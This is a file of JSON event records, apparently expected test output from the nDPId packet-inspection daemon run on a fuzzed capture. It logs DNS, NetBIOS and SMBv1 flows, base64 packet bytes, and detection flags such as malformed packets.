+00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1120470284936,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":117,"dst_port":2769,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470298,"pkt_ts_usec":331768,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00429{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":358,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470299,"pkt_ts_usec":325295,"pkt_caplen":86,"pkt_type":9587,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69JXMAAABIauUAAIARTGzAqFwCwKgBAQrSADUANCnz\/\/8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":358,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":9587} +00452{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":359,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1120470301328,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":127,"flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470301,"pkt_ts_usec":328331,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIauYAAIB\/TGvAqAECwKgBAQrSADUANCnz\/\/8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJYnliZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":360,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1120470303331,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2770,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470303,"pkt_ts_usec":331030,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFBABIaucAAIARTGrAqAECwKgBAQrSADUANCnz\/\/8BAAABAAAAAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":360,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1120470303331,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2770,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":361,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470303,"pkt_ts_usec":562349,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAFhOaugAAIARS2XAqAECwKgB\/wCJAIkAOlt2hSUBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":361,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":362,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1120470304312,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"120.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470304,"pkt_ts_usec":312412,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABO7ukAAIARS2TAqAECeKgB\/wCJAIkAOlt2hSUBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUKqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":362,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1120470304312,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"120.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":363,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470305,"pkt_ts_usec":63494,"pkt_caplen":92,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":363,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00469{"flow_id":136,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470307,"pkt_ts_usec":336934,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AFNUADRWAEjtAW69CABFAABIausAAIARTGbAqAECwKgBAQrSADUANCnz\/\/8BAABGAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":365,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1120470301328,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":127,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00453{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":365,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1120470301328,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":127,"flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":365,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1120470304312,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"120.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":365,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1120470315338,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.57","dst_ip":"192.168.1.1","src_port":2771,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470315,"pkt_ts_usec":338689,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEauwAAIARTGnAqAE5wKgBAQrTADUAMCcL\/eAAAAABAAAAAAAAATEBMAEw3TEyNwdpbi1hZGRyBGFycHcAAAwAAQ=="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":365,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1120470315338,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.57","dst_ip":"192.168.1.1","src_port":2771,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":366,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1120470315340,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2771,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470315,"pkt_ts_usec":340201,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW68ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CtMARwmH\/eCAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQBhJxAACwlsb2NhbGhvc3QA"} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":366,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1120470315340,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2771,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":367,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470315,"pkt_ts_usec":341351,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAAhau0AUoARGB8NqAEC1PIhIxPEE8QADcBLICAgNiA="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":367,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":13} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":368,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1120470315653,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00688{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470315,"pkt_ts_usec":653366,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAADlau4AAIARSsjAqAECwKgB\/wCKAIoA0VstEQ6FJ8CoAQIAigC7AAAgRUVEQURBRENERURHREZDtkNBQ0FDQUNBQ0FDQUNBQ0EAIEVGRURFSkZQRUVFOEVORUJFSkVPQ0FDQUNBQ0FDQUJOAP9TTUIlNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhBFYAAwABAAAAAgA2AFxNQUlMU0xPVFxCUk9XU0UAAQCA\/AoARDAwMjQ2NQAAAAAAAAAAAAUAA2EAAA8BVaoA"} +00567{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":368,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1120470315653,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":371,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1120470315653,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":371,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1120470315340,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2771,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":371,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1120470315338,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.57","dst_ip":"192.168.1.1","src_port":2771,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":371,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1120470327552,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470327,"pkt_ts_usec":552269,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUOzRWAODtAW69CABFAABIau8AAIARTGLAqAECwKgBAQrUADUANIwPneEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY6qqqqqqqqqqqqqqqqqqqqo="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":371,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1120470327552,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":141,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470328,"pkt_ts_usec":547303,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFQABIavAAAIARTGHAqAECwKgBAQrUADUANIwPneEBAACQAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":141,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470330,"pkt_ts_usec":550185,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIavEAAIARTGDAqAECwKgBAQrUADUANIwPneEBAAABAAAAAAAABF9zaXAAX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00699{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":373,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":3,"flow_first_seen":1120470327552,"flow_last_seen":1120470330550,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip","num_queries":0,"num_answers":0,"reply_code":0,"query_type":24437,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":374,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1120470332553,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.184.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470332,"pkt_ts_usec":553067,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIavIAAIARTF\/AqAECwLgBAQrUADUANIwPneEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":374,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1120470332553,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.184.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":141,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470336,"pkt_ts_usec":558847,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW5yCABFAABIavMAAIARTF7AqAECwKgBAQrUADUANIwPneEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAlcwBibXJjaXR5AmRrAAAhAAE="} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":375,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":4,"flow_first_seen":1120470327552,"flow_last_seen":1120470336558,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":25197,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1120470332553,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.184.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1120470344560,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2773,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470344,"pkt_ts_usec":560828,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEavQAAIARTEHAqAECwKgBAQrVADUAMLAHdOoEAAABAAAAAAAAATEBMAEwAzEyNwdpTC1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1120470344560,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2773,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.il-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":377,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470344,"pkt_ts_usec":562295,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAABbAACGAEARtz7AqAEBwKgBAgA1CtUAR5KDdOKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":377,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} 